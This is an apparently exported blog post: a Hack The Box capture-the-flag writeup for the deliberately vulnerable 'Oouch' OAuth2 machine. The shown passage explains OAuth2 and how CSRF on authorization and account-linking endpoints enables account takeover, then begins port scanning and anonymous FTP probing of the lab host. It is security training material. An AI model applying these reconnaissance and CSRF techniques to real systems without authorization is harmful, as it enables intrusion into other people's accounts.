{"id":16533,"date":"2020-08-01T11:21:00","date_gmt":"2020-08-01T09:21:00","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/hack-the-box-oouch-writeup\/"},"modified":"2021-07-21T16:16:31","modified_gmt":"2021-07-21T14:16:31","slug":"hack-the-box-oouch-writeup","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/hack-the-box-oouch-writeup\/","title":{"rendered":"Hack The Box: Oouch Writeup"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" admin_label=\"section\" _builder_version=\"4.9.4\" background_color=\"#1F262E\" custom_padding=\"0px|0px|0px|0px|true|true\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\" width=\"100%\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>At the beginning of the year\u00a0<\/span><a href=\"https:\/\/www.hackthebox.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.hackthebox.eu\">Hack The Box<\/a><span>\u00a0released\u00a0<\/span><em>Oouch<\/em><span>, a vulnerable machine created by usd HeroLab consultant and security researcher Tobias Neitzel (<\/span><a href=\"https:\/\/twitter.com\/qtc_de\" target=\"_blank\" rel=\"noreferrer noopener\">@qtc_de<\/a><span>).\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em><span>is an implementation of an\u00a0<\/span><em>OAuth2<\/em><span>\u00a0authorization server and also ships a compatible consumer application. Both contain common\u00a0<\/span><em>OAuth2<\/em><span>\u00a0vulnerabilities that can be used to get access to the system. In this post, we release the writeup that Tobias created for his initial Box submission. Interested in how minor implementation failures with\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>can lead to remote code execution? Then you should definitely read on. Enjoy!<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n<h2>Table of Contents<\/h2>\n<ul>\n<li><a href=\"#description\" title=\"#description\">1.0 Description<\/a><\/li>\n<li><a href=\"#introduction\" title=\"#introduction\">2.0 Introduction<\/a>\n<ul>\n<li><a href=\"#authorization-workflow\" title=\"#authorization-workflow\">2.1 \u2013 The OAuth Authorization Workflow<\/a><\/li>\n<li><a href=\"#oauth-goes-wrong\" title=\"#oauth-goes-wrong\">2.2 \u2013 What can possibly go Wrong<\/a>\n<ul>\n<li><a href=\"#server-csrf\" title=\"#server-csrf\">2.2.1 \u2013 OAuth Authorization Server CSRF<\/a><\/li>\n<li><a href=\"#consumer-csrf\" title=\"#consumer-csrf\">2.2.2 \u2013 OAuth Consumer CSRF<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#oauth-conclusions\" title=\"#oauth-conclusions\">2.3 \u2013 OAuth Conclusions<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#user-on-oouch\" title=\"#user-on-oouch\">3.0 \u2013 Getting User on Oouch<\/a>\n<ul>\n<li><a href=\"#enumeration\" title=\"#enumeration\">3.1 \u2013 Starting Enumeration<\/a><\/li>\n<li><a href=\"#digging-deeper\" title=\"#digging-deeper\">3.2 \u2013 Digging Deeper<\/a><\/li>\n<li><a href=\"#finding-oauth\" title=\"#finding-oauth\">3.3 \u2013 Finding the O in Oouch<\/a><\/li>\n<li><a href=\"#ready-to-attack\" title=\"#ready-to-attack\">3.4 \u2013 Ready to Attack<\/a><\/li>\n<li><a href=\"#getting-rewarded\" title=\"#getting-rewarded\">3.5 \u2013 Getting Rewarded<\/a><\/li>\n<li><a href=\"#getting-ssh-access\" title=\"#getting-ssh-access\">3.6 \u2013 Getting SSH Access<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#next-stop-root\" title=\"#next-stop-root\">4.0 \u2013 Next Stop Root<\/a>\n<ul>\n<li><a href=\"#containers\" title=\"#containers\">4.1 \u2013 Finding the Containers<\/a><\/li>\n<li><a href=\"#roadmap\" title=\"#roadmap\">4.2 \u2013 Checking the Roadmap<\/a><\/li>\n<li><a href=\"#one-and-one\" title=\"#one-and-one\">4.3 \u2013 Putting One and One together<\/a><\/li>\n<li><a href=\"#attack-vector\" title=\"#attack-vector\">4.4 \u2013 Finding an Attack Vector<\/a><\/li>\n<li><a href=\"#performing-exploit\" title=\"#performing-exploit\">4.5 \u2013 Performing the Exploit<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#unintended-soltuions\" title=\"#unintended-soltuions\">5.0 \u2013 Unintended Solutions<\/a>\n<ul>\n<li><a href=\"#cookie-scope\" title=\"#cookie-scope\">5.1 \u2013 Cookie Scope<\/a><\/li>\n<li><a href=\"#odd-uwsgi\" title=\"#odd-uwsgi\">5.2 \u2013 Odd UWSGI Functionalities<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#lessons-learned\" title=\"#lessons-learned\">6.0 \u2013 Lessons Learned<\/a>\n<ul>\n<li><a href=\"#errors-everywhere\" title=\"#errors-everywhere\">6.1 \u2013 500 Everywhere<\/a><\/li>\n<li><a href=\"#not-so-fast\" title=\"#not-so-fast\">6.2 \u2013 Not so Fast<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#conclusion\" title=\"#conclusion\">7.0 \u2013 Conclusion<\/a><\/li>\n<\/ul>\n<p>[\/et_pb_text][et_pb_text module_id=\"description\" _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h2 id=\"description\">1.0 \u2013 Description<\/h2>\n<p>In this writeup I will demonstrate how one can solve the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>machine, which implements a vulnerable<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>authorization server as well as a vulnerable<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>consumer application. With previous knowledge of the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol and the possible attack vectors,<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>is rather straight forward to solve. However, for most of the audience the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol is probably unknown and we should first spend some time on it to see how it works. (If you are only interested in the machine solution or are already familiar with the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol, you can skip the following chapter and continue with the enumeration phase).<\/p>\n<h2 id=\"introduction\">2.0 \u2013 A Gentle Introduction to OAuth<\/h2>\n<p><em>OAuth<span>\u00a0<\/span><\/em>stands for<span>\u00a0<\/span><em>Open Authorization<\/em><span>\u00a0<\/span>and defines an authentication protocol that is widely used on the internet. Whenever you see a login form that supports features like \u201e<em>login with Facebook<\/em>\u201c or \u201e<em>pay with Amazon<\/em>\u201c it is likely that the technical implementation of these features is done by using<span>\u00a0<\/span><em>OAuth<\/em>.<\/p>\n<p>In a typical<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>setup, you have a total of three different parties (four if you take the application user into account):<\/p>\n<ul>\n<li>The authorization server<\/li>\n<li>The resource server<\/li>\n<li>The consumer application<\/li>\n<li>(The application user)<\/li>\n<\/ul>\n<p>In many implementations, the resource server and the authorization server are represented by the same physical hardware and can be reached by using the same IP address. However, from the logical perspective, they have to be separated. If one draws a picture of the four components mentioned above (I know, there are many better ones available online), it may looks like this:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A1-setup.png\" title_text=\"A1-setup\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>But what is now the actual purpose of these components? Well, lets take the \u201e<em>login with Facebook<\/em>\u201c feature as an example. Imagine you are building your own web application and are currently working on the user login. When implementing just an ordinary login page, users would have to register to your application and need to remember another set of credentials. Wouldn\u2019t it be great to allow users to login with their<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>account? Most people already have such an account and it would save them from creating and remembering another set of credentials. In this situation, we would have the following mapping:<\/p>\n<ul>\n<li>The authorization server -&gt; Facebook<\/li>\n<li>The resource server -&gt; Facebook<\/li>\n<li>The consumer application -&gt; Your new application<\/li>\n<li>(The application user) -&gt; Your customers<\/li>\n<\/ul>\n<p>Sounds good so far, but how to implement this? Well, the worst option is of course to ask your customers for their<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>credentials. Even to none security professionals this should sound wrong. Instead you need a dedicated protocol that handles the communication between you, your customers and<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>and this is exactly what the<span>\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em>protocol was made for.<\/p>\n<h3 id=\"authorization-workflow\">2.1 \u2013 The OAuth Authorization Workflow<\/h3>\n<p>Okay, for our \u201e<em>login with Facebook<\/em>\u201c feature, we are left with two problems:<\/p>\n<ul>\n<li>How can our customers prove that they have a valid account on<span>\u00a0<\/span><em>Facebook<\/em>?<\/li>\n<li>How can we obtain account information of our customers from<span>\u00a0<\/span><em>Facebook<\/em>?<\/li>\n<\/ul>\n<p>The second problem was not mentioned so far, but it is of course required for our application. To prove that a customer has a valid<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>account is not enough, we also need some account data like<span>\u00a0<\/span><em>username<\/em>,<span>\u00a0<\/span><em>age<\/em><span>\u00a0<\/span>or<span>\u00a0<\/span><em>email address<\/em><span>\u00a0<\/span>in order to identify the customer in our application.<\/p>\n<p>To obtain such information from<span>\u00a0<\/span><em>Facebook<\/em>, it sounds reasonable to inform<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>about our application. On all<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>providers like<span>\u00a0<\/span><em>Facebook<\/em>,<span>\u00a0<\/span><em>Twitter<\/em><span>\u00a0<\/span>or<span>\u00a0<\/span><em>Amazon<\/em><span>\u00a0<\/span>you need to register your<span>\u00a0<\/span><em>consumer application<\/em>. During the registration process you obtain a<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>and a<span>\u00a0<\/span><strong>CLIENT_SECRET<\/strong>. Both of them are used to authenticate your application to the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>service provider and allow you data access. Of course, data access to account data of other users is not provided per default, but has to be confirmed by the corresponding account. This will be discussed next, but first of all lets update our<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>graphic with our new obtained<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>and the<span>\u00a0<\/span><strong>CLIENT_SECRET<\/strong>:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A2-setup.png\" title_text=\"A2-setup\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Now that our application has a valid set of credentials for data access, we can finally look at the actual authentication process. Consider a customer visits our login page and clicks on the \u201e<em>login with Facebook<\/em>\u201c feature. In this case, our server will send a redirect as response, which redirects the user to a specialized endpoint on<span>\u00a0<\/span><em>Facebook<\/em>. Inside this redirect, we include the following parameters:<\/p>\n<ul>\n<li>Our<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>-&gt; This shows<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>which application wants access permissions to the account data of our user.<\/li>\n<li>A<span>\u00a0<\/span><strong>REDIRECT_URL<\/strong><span>\u00a0<\/span>-&gt; After the customer has allowed \/ rejected access,<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>needs to redirect him back to the consumer application (our application).<\/li>\n<li>A<span>\u00a0<\/span><strong>SCOPE<\/strong><span>\u00a0<\/span>-&gt; This tells<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>what kind of access we want (read \/ write \/ read-write).<\/li>\n<\/ul>\n<p>If our customer is already logged in on<span>\u00a0<\/span><em>Facebook<\/em>, he will be asked directly if he wants to allow access for our application. If our customer is not logged in, he will be redirected to the login page of<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>and is asked to allow access for our application after he has performed a valid login.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A3-setup.png\" title_text=\"A3-setup\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>If the customer decides to allow access for our application,\u00a0<\/span><em>Facebook<\/em><span>\u00a0will redirect him back to our specified\u00a0<\/span><strong>REDIRECT_URL<\/strong><span>, including an\u00a0<\/span><em>authorization_code<\/em><span>. This\u00a0<\/span><em>authorization_code<\/em><span>\u00a0grants our application access to the profile information of the corresponding user and is therefore the proof, that our customer has a valid\u00a0<\/span><em>Facebook<\/em><span>\u00a0account. Furthermore, we can now obtain profile information like\u00a0<\/span><em>username<\/em><span>,\u00a0<\/span><em>age<\/em><span>\u00a0or\u00a0<\/span><em>email address<\/em><span>\u00a0to identify the customer.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A4-setup.png\" title_text=\"A4-setup\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>However, just using the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>for data access is not sufficient. This token was propagated inside the<span>\u00a0<\/span><em>URL<span>\u00a0<\/span><\/em>of the customers browser and was exposed to other parties during the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>process. Furthermore, our application sent only its<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>to<span>\u00a0<\/span><em>Facebook<\/em>, which is a public known value and yields no proof that we are really the application we claim to be. Therefore, our application needs to exchange the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>for an<span>\u00a0<\/span><em>access_token<\/em><span>\u00a0<\/span>first, before data access is provided.<\/p>\n<p>The<span>\u00a0<\/span><em>access_token<\/em><span>\u00a0<\/span>is also issued by<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>on a specific endpoint and requires again some parameters inside the request:<\/p>\n<ul>\n<li>Our<span>\u00a0<\/span><strong>CLIENT_ID<\/strong><span>\u00a0<\/span>-&gt; To identify our application.<\/li>\n<li>Our<span>\u00a0<\/span><strong>CLIENT_SECRET<\/strong><span>\u00a0<\/span>-&gt; Proof that we are really the application we claim to be.<\/li>\n<li>A<span>\u00a0<\/span><strong>REDIRECT_URL<\/strong><span>\u00a0<\/span>-&gt; Needs to match the<span>\u00a0<\/span><strong>REDIRECT_URL<\/strong><span>\u00a0<\/span>inside the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>request.<\/li>\n<li>An<span>\u00a0<\/span><strong>AUTHORIZATION_CODE<\/strong><span>\u00a0<\/span>-&gt; To identify the user that allowed our application data access.<\/li>\n<\/ul>\n<p>This time however, we cannot perform this request using a redirect in the customers browser. This would leak our<span>\u00a0<\/span><strong>CLIENT_SECRET<\/strong><span>\u00a0<\/span>and this should of course not be exposed to other parties than our application. Instead, the request for an<span>\u00a0<\/span><em>access_token<\/em><span>\u00a0<\/span>will be executed by our backend. After the<span>\u00a0<\/span><em>access_token<\/em><span>\u00a0<\/span>was obtained, we can finally access the profile data of our customer on<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>and identify him on our application.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A5-setup.png\" title_text=\"A5-setup\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h3 id=\"oauth-goes-wrong\">2.2 \u2013 What can possibly go Wrong<\/h3>\n<p>The example above is just one particular<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>workflow and was furthermore simplified quite a bit. However, it is sufficient to understand two major vulnerabilities that can occur when implementing an<span>\u00a0<\/span><em>OAuth2<\/em><span>\u00a0<\/span>capable application.<\/p>\n<h4 id=\"server-csrf\">2.2.1 \u2013 OAuth Authorization Server CSRF<\/h4>\n<p>Like described above, before an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>consumer application gets access to the users profile data, the corresponding user has to confirm that the consumer application is allowed to access the corresponding data. This is usually implemented by a simple confirmation window, that asks the user if he really wants to grant application<span>\u00a0<\/span><strong>XYZ<\/strong><span>\u00a0<\/span>permissions to<span>\u00a0<\/span><strong>read\/write\/read-write<\/strong><span>\u00a0<\/span>his profile data. Only if the user answers this confirmation window with<span>\u00a0<\/span><strong>yes<\/strong>, access for the consumer application is granted.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A6-server-csrf.png\" title_text=\"A6-server-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>But what happens if the confirmation request is not protected by a\u00a0<\/span><em>CSRF-Token<\/em><span>? In this case, a consumer application can simply craft a request that directly confirms access to the users profile data. This would skip the confirmation window and grants the application access to the users data without the confirmation of the corresponding user.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A7-server-csrf.png\" title_text=\"A7-server-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>For this reason, a<span>\u00a0<\/span><em>CSRF-Token<\/em><span>\u00a0<\/span>is absolutely required on OA<em>u<\/em>th2 authorization endpoints and not implementing such a protection is a critical finding during a security assessment.<\/p>\n<h4 id=\"consumer-csrf\">2.2.2 \u2013 OAuth Consumer CSRF<\/h4>\n<p>Not only the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider, but also the consumer applications can contain a critical<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>vulnerability. In the \u201e<em>login with Facebook<\/em>\u201c scenario above, we only talked about a new customer who wants to use his<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>account for login. However, most applications allow users to connect an already existing local user account with an account on an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider. This allows the corresponding users to either login with their local account, or choosing to login with their e.g.<span>\u00a0<\/span><em>Facebook<\/em><span>\u00a0<\/span>account.<\/p>\n<p>Connecting a local account with an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider is often implemented rather simple. After confirming access for the consumer application on the<span>\u00a0<\/span><em>OAuth2<\/em><span>\u00a0<\/span>provider, the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>is send to a particular endpoint on the consumer application. The consumer application simply exchanges the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>for an<span>\u00a0<\/span><em>access_token<\/em>, obtains the users profile information and connects the local user account of the currently logged in user with the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider account.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A8-client-csrf.png\" title_text=\"A8-client-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>But what happens if the account connection request is not protected against\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em><span>attacks? An attacker can simply craft a request that connects the account of the currently logged in user with his own account on the\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>provider. If the attacker can trick another user (that is currently logged into the consumer application) to execute such a request, the local account of the targeted user and the\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>account of the attacker get connected. The attacker can now login into the consumer application using his\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>account and can impersonate his victim inside the consumer application.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/A9-client-csrf.png\" title_text=\"A9-client-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\" custom_padding=\"||0px|||\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Implementing protection against such attacks is much harder as against ordinary<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attacks. The request that contains the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>has to be issued by the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider and is therefore a<span>\u00a0<\/span><em>cross-site request<\/em><span>\u00a0<\/span>per nature. However, all major<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>providers support usage of a so called<span>\u00a0<\/span><strong>STATE<\/strong><span>\u00a0<\/span>parameter inside<span>\u00a0<\/span><em>authorization_token<\/em><span>\u00a0<\/span>requests. This parameter can be used to prevent<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attacks on the consumer site, as it is explained in<span>\u00a0<\/span><a href=\"https:\/\/auth0.com\/docs\/protocols\/oauth2\/oauth-state\" target=\"_blank\" rel=\"noopener\">this<\/a><span>\u00a0<\/span>article.<\/p>\n<h3 id=\"oauth-conclusions\">2.3 \u2013 OAuth Conclusions<\/h3>\n<p>The discussion above gives only a rough overview over the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol and possible attack vectors. Since<span>\u00a0<\/span><em>cross application authentication<\/em><span>\u00a0<\/span>is always a complex process there are many more possible attack vectors and pitfalls that can occur during implementation of an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider or an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>consumer application. However, the information above is sufficient to solve the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>machine and this is what we are going to do in the next sections.<\/p>\n<h2 id=\"user-on-oouch\">3.0 \u2013 Getting User on Oouch<\/h2>\n<p>Now that we have a basic understanding of the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol, we can finally start to take on the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>machine. The following sections will show you one example, how you can get access to the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>server. However, as with any server that was configured intentionally vulnerable, there are probably other paths that let you takeover the system.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/oouch-2.png\" title_text=\"oouch-2\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<h3 id=\"enumeration\">3.1 \u2013 Starting Enumeration<\/h3>\n<p>Like with any other machine, we start with a<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>scan to get an overview of the exposed services:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ sudo nmap -p- -sV 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Nmap<\/span><span class=\"enlighter-text\"> scan report for oouch.htb <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\"> is up <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">0.034s latency<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Not<\/span><span class=\"enlighter-text\"> shown: <\/span><span class=\"enlighter-n1\">65531<\/span><span class=\"enlighter-text\"> closed ports<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">PORT<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">STATE<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">SERVICE<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">VERSION<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\">\/tcp <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> ftp vsftpd 2.0.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> or later<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">22<\/span><span class=\"enlighter-text\">\/tcp <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> ssh OpenSSH 7.9p1 Debian <\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">+deb10u2 <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">protocol 2.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\">\/tcp <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> http nginx 1.14.<\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/tcp <\/span><span class=\"enlighter-k9\">open<\/span><span class=\"enlighter-text\"> rtsp<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Not too much ports open. Starting from the lowest port number, we see that<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>prints a relatively old version of<span>\u00a0<\/span><em>vsftpd<\/em>. However, when connecting to the FTP server we can see that<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>only made a wild guess:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ ftp 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connected<\/span><span class=\"enlighter-text\"> to 10.10.10.177.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">220<\/span><span class=\"enlighter-text\"> qtc's development server<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual<span>\u00a0<\/span><em>vsftpd<\/em><span>\u00a0<\/span>version can therefore be higher than<span>\u00a0<\/span><em>2.0.8<\/em>. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the<span>\u00a0<\/span><em>anonymous user<\/em>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">Name<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\">:pentester<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">: 